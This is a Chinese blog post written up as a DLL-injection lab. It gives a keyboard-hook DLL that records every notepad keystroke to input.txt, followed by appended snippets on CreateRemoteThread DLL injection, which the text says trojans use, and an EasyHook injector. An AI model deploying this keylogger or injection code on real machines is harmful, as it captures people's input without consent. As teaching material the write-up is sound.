DLL注入实验-DLL消息钩取HOOK

DLL注入实验-dll消息钩取HOOK

Assignment

修改改HookDll.cpp,钩取对notepad的输入,使得:
a)输入文本仍能正常显示
b)所有输入文本能够记录到input.txt文件中

HookDll.cpp

#include "windows.h"
#include "tchar.h"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
	switch( dwReason ){
        case DLL_PROCESS_ATTACH:
			g_hInstance = hinstDLL;
			break;
	}
	return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
	TCHAR szPath[MAX_PATH] = {0,};
	TCHAR *p = NULL;

	if( nCode >= 0 ) {
		if( !(lParam & 0x80000000) ){ //lParam的第31位(0:按键;1:释放键)
			GetModuleFileName(NULL, szPath, MAX_PATH);
			p = _tcsrchr(szPath, _T('\\'));
            //若装载当前DLL的进程为notepad.exe,则消息不会传递给下一个钩子
			if( !lstrcmpi(p + 1, _T("notepad.exe")) )
				return 1;
		}
	}
    // 当前进程不是notepad.exe,将消息传递给下一个钩子
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
	__declspec(dllexport) void HkStart() {
		g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
	}

	__declspec(dllexport) void HkStop() {
		if( g_hHook ) {
			UnhookWindowsHookEx(g_hHook);
			g_hHook = NULL;
		}
	}
#ifdef __cplusplus
}
#endif

j使用vs2017编译生成dll,程序作用:钩取notepad(记事本)的消息输入。不过这是notepad不能正常输入,也不能记录钩取的数据,关键代码都有注释。

OS消息队列和应用程序消息队列之间存在一条钩链(Hook Chain),设置好键盘消息钩子后,处于钩链中的键盘消息钩子会比应用程序先一步看到相应信息。在键盘消息钩子函数的内部,除了可以查看消息之外,还可以修改消息本身,而且还能对消息实施拦截,阻止消息传递。可以同时设置多个相同的键盘消息钩子,按照设置的顺序依次调用,从而组成的链条称为钩链。
在这里插入图片描述

TsetHook.cpp

#include "stdio.h"
#include "windows.h"
#include "tchar.h"

typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

int _tmain(int argc, TCHAR* argv[]) {
	HMODULE	hDll = NULL;
	if( (hDll = LoadLibraryA("HookDll.dll")) == NULL )// 装载HookDll.dll
		return FALSE;

	// 获取导出函数HkStart()和HkStop()的地址
	PFN_HOOKSTART HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, "HkStart");
	PFN_HOOKSTOP HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, "HkStop");

	HookStart(); //开始钩取键盘消息
	_tprintf(_T("press 'q' to quit!\n"));
	while( getchar() != 'q' ); // 等到用户输入'q'才终止钩取
	HookStop(); //终止钩取键盘消息
	FreeLibrary(hDll); //卸载HookDll.dll
	return TRUE;
}

其中TestDll主要是进行HookDll.dll的装载与卸载,获取HkStart HkStop的地址,并且使用q来判断用户输入是否终止。

修改dll实现功能

CODE C++

// dllmain.cpp : 定义 DLL 应用程序的入口点。   //hookdll1 钩取notepad的输入 同时不影响正常输入 并把输入保存到指定的txt
#define _CRT_SECURE_NO_WARNINGS

#include "stdafx.h"
#include "windows.h"
#include "tchar.h"
#include <stdio.h>

//
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;

//dllmain
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) {
   switch (dwReason) {
   //当DLLMain处理DLL_PROCESS_ATTACH时,DLLMain函数的返回值表示DLL的初始化是否成功。成功返回TRUE,否则返回FALSE。
   case DLL_PROCESS_ATTACH:
   	g_hInstance = hinstDLL;
   	break;
   }
   return TRUE;
}
//keyboardproc
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
   TCHAR szPath[MAX_PATH] = { 0, };
   TCHAR *p = NULL;
   FILE *fp = NULL;

   if ((fp = fopen("C:test\\input.txt", "a+"))==NULL) {//保存输入的txt
   	printf("open txt error");
   }
   
   if (nCode >= 0) {//nCode 钩子识别码
   	if (!(lParam & 0x80000000)) { //lParam的第31位(0:按键;1:释放键)
   		GetModuleFileName(NULL, szPath, MAX_PATH);
   		p = _tcsrchr(szPath, _T('\\'));//当前路径\\后的内容(notepad.exe)

   		//若装载当前DLL的进程为notepad.exe
   		if (!lstrcmpi(p + 1, _T("notepad.exe")))//为notepad程序
   		{
   			char c = wParam;//获取消息
   			fwrite(&c, 1, 1, fp);//一字节一元素写入
   			CallNextHookEx(g_hHook, nCode, wParam, lParam);//使文字正常输入
   			//return 1;//这个要注释掉
   		}
   	}
   	fclose(fp);
   }
   // 当前进程不是notepad.exe,将消息传递给下一个钩子
   return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
   __declspec(dllexport) void HkStart() {
   	g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);//sethook开启
   }

   __declspec(dllexport) void HkStop() {
   	if (g_hHook) {
   		UnhookWindowsHookEx(g_hHook);//unhook关闭
   		g_hHook = NULL;
   	}
   }
#ifdef __cplusplus
}
#endif

实现

在这里插入图片描述
在这里插入图片描述

PS 关于vs如何使用ddl 参考https://blog.csdn.net/qq_37902078/article/details/80144696
windows钩取 https://blog.csdn.net/SKI_12/article/details/80684358

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理和注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;
目前最好的EasyHook的完整Demo程序,包括了Hook.dll动态库和Inject.exe注入程序。 Hook.dll动态库封装了一套稳定的下钩子的机制,以后对函数下钩子,只需要填下数组表格就能实现了,极大的方便了今后的使用。 Inject.exe部分是用MFC写的界面程序,只需要在界面上输入进程ID就能正确的HOOK上相应的进程,操作起来非常的简便。 这个Demo的代码风格也非常的好,用VS2010成功稳定编译通过,非常值得下载使用。 部分代码片段摘录如下: //【Inject.exe注入程序的代码片段】 void CInjectHelperDlg::OnBnClickedButtonInjectDllProcessId() { ////////////////////////////////////////////////////////////////////////// //【得到进程ID值】 UINT nProcessID = 0; if (!GetProcessID(nProcessID)) { TRACE(_T("%s GetProcessID 失败"), __FUNCTION__); return; } ////////////////////////////////////////////////////////////////////////// //【得到DLL完整路径】 CString strPathDLL; if (!GetDllFilePath(strPathDLL)) { TRACE(_T("%s GetDllFilePath 失败"), __FUNCTION__); return; } ////////////////////////////////////////////////////////////////////////// //【注入DLL】 NTSTATUS ntStatus = RhInjectLibrary(nProcessID, 0, EASYHOOK_INJECT_DEFAULT, strPathDLL.GetBuffer(0), NULL, NULL, 0); if (!ShowStatusInfo(ntStatus)) { TRACE(_T("%s ShowStatusInfo 失败"), __FUNCTION__); return; } } //【Hook.dll动态库的代码片段】 extern "C" __declspec(dllexport) void __stdcall NativeInjectionEntryPoint(REMOTE_ENTRY_INFO* InRemoteInfo) { if (!DylibMain()) { TRACE(_T("%s DylibMain 失败"), __FUNCTION__); return; } } FUNCTIONOLDNEW_FRMOSYMBOL array_stFUNCTIONOLDNEW_FRMOSYMBOL[]= { {_T("kernel32"), "CreateFileW", (void*)CreateFileW_new}, {_T("kernel32"), "CreateFileA", (void*)CreateFileA_new}, {_T("kernel32"), "ReadFile", (void*)ReadFile_new} }; BOOL HookFunctionArrayBySymbol() { /////////////////////////////////////////////////////////////// int nPos = 0; do { /////////////////////////////// FUNCTIONOLDNEW_FRMOSYMBOL* stFunctionOldNew = &g_stFUNCTIONOLDNEW_FRMOSYMBOL[nPos]; if (NULL == stFunctionOldNew->strModulePath) { break; } /////////////////////////////// if (!HookFunctionBySymbol(stFunctionOldNew->strModulePath, stFunctionOldNew->strNameFunction, stFunctionOldNew->pFunction_New)) { TRACE(_T("%s HookFunctionBySymbol 失败"), __FUNCTION__); return FALSE; } } while(++nPos); /////////////////////////////////////////////////////////////// return TRUE; } HANDLE WINAPI CreateFileW_new( PWCHAR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ) { TRACE(_T("CreateFileW_new. lpFileName = %s"), lpFileName); return CreateFileW( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值